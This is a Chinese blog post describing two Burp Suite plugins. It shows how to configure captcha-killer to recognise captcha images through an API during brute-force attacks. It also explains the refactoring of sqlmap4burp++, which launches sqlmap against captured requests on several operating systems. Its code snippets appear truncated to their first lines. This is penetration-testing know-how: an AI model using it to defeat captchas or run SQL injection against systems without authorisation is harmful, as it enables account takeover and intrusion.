然后我们把图片内容的位置用标签来代替。比如该例子使用的接口是post提交image参数,参数的值为图片二进制数据的base64编码后的url编码。那么Request template
(请求模版)面板应该填写如下:
ID | 标签 | 描述 |
---|---|---|
1 | <@IMG_RAW></@IMG_RAW> | 代表验证码图片原二进制内容 |
2 | <@URLENCODE></@URLENCODE> | 对标签内的内容进行url编码 |
3 | <@BASE64></@BASE64> | 对标签内的内容进行base64编码 |
最后点击“识别”即可获取到接口返回的数据包,同时在request raw
可以看到调用接口最终发送的请求包。
通过上一步我们获取到了识别接口的返回结果,但是插件并不知道返回结果中,哪里是真正的识别结果。插件提供了4中方式进行匹配,可以根据具体情况选择合适的。
ID | 规则类型 | 描述 |
---|---|---|
1 | Repose data | 这种规则用于匹配接口返回包内容直接是识别结果 |
2 | Regular expression | 正则表达式,适合比较复杂的匹配。比如接口返回包{"coede":1,"result":"abcd"} 说明abcd是识别结果,我们可以编写规则为result":"(.*?)"\} |
3 | Define the start and end positions | 定义开始和结束位置,使用上面的例子,可以编写规则{"start":21,"end":25} |
4 | Defines the start and end strings | 定义开始和结束字符,使用上面的例子,可以编写规则为{"start":"result\":\","end":"\"\}"} |
通过分析我们知道,接口返回的json数据中,字段words
的值为识别结果。我们这里使用Regular expression
(正则表达式)来匹配,然后选择yzep
右键标记为识别结果
,系统会自动生成正则表达式规则" (.*?)"\}\]
。
注意:若右键标记自动生成的规则匹配不精确,可以人工进行微调。比如该例子中可以微调规则为"words"\: "(.*?)"\}
将更加准确!
到达这步建议将配置好常用接口的url,数据包已经匹配规则保存为模版,方便下次直接通过右键模板库
中快速设置。同时插件也有默认的模版供大家使用与修改。
配置好各项后,可以点击锁定
对当前配置进行锁定,防止被修改导致爆破失败!接着安装以下步骤进行配置
后续将通过小案例来演示,如何通过captcha-killer让burp使用上各种技术识别验证码(免费方案),敬请期待!
sqlmap4burp
项目作者已经很久没有维护了,于是打算对其进行重构。新插件就叫sqlmap4burp++
,表示感谢原作者的思路。sqlmap4burp++
将兼容更多操作系统
,操作更加简单
,界面更加简洁
!
下面简单记录下重构做的一些小工作。
原插件依赖commons-io-<version>.jar
,commons-langs-<version>.jar
这两个jar。但查看代码只是为了可以使用FileUtils.writeByteArrayToFile()
和StringUtils.isNoneBlank()
两个方法。sqlmap4burp++
使用原生Java代码实现,让插件更轻量易编译。
现在的Burp插件很丰富,Burp suite JTab控件太多界面会显得特别臃肿。
考虑了下该插件并非特别需要JTab面板来添加sqlmap的配置命令,于是去除JTab控件该换成如下的弹窗。
插件会自动将Burp的request数据包保存为xxx.req
到java临时目录,而多系统支持无非就是在目标系统下,能弹出命令行窗口并执行我们的sqlmap -r xxx.req
命令,但各个系统实现的方式都有所不同!
Windows实现比较简单,只需要将sqlmap命令保存为bat脚本(sqlmap4burp.bat),然后执行以下命令:
1 | cmd.exe /c start sqlmap4burp.bat |
实现代码如下:
1 | String command = "sqlmap.py -r xxxxx.req"; |
Mac下我们可以编写如下osascript
脚本来调用Terminal并让它执行sqlmap命令。
1 | tell application "Terminal" |
实现代码如下:
1 | String command = "sqlmap.py -r xxxxx.req"; |
这里需要注意两点:
Linux下想实现弹出命令行窗口同时执行命令,我尝试了很多方法,但是都没有成功的。比较接近想要效果的方法是先将sqlmap命令写到shell脚本中(sqlmap4burp.sh
)。然后执行如下命令来运行sqlmap4burp.sh
:
1 | gnome-terminal -t "sqlmap4burp" -x bash -c "sh ./tmp/sqlmap4burp.sh;exec bash;" |
但使用代码去执行的时候并没有弹出Terminal
。大家如果有解决方法,可以Fork sqlmap4burp++项目贡献代码,或者发送想法到我的邮箱root#gv7.me。
目前采用临时的方法:先弹出Terminal
窗口,然后将生成好的sqlmap命令复制剪贴板,最后手工在弹出的窗口中粘贴并执行。
1 | String command = "sqlmap.py -r xxxxx.req"; |
完整代码请移步项目地址:https://github.com/c0ny1/sqlmap4burp-plus-plus
插件已经在如下系统测试成功:
请FQ观看演示,或者直接访问:https://www.youtube.com/watch?v=1RWVkztssvw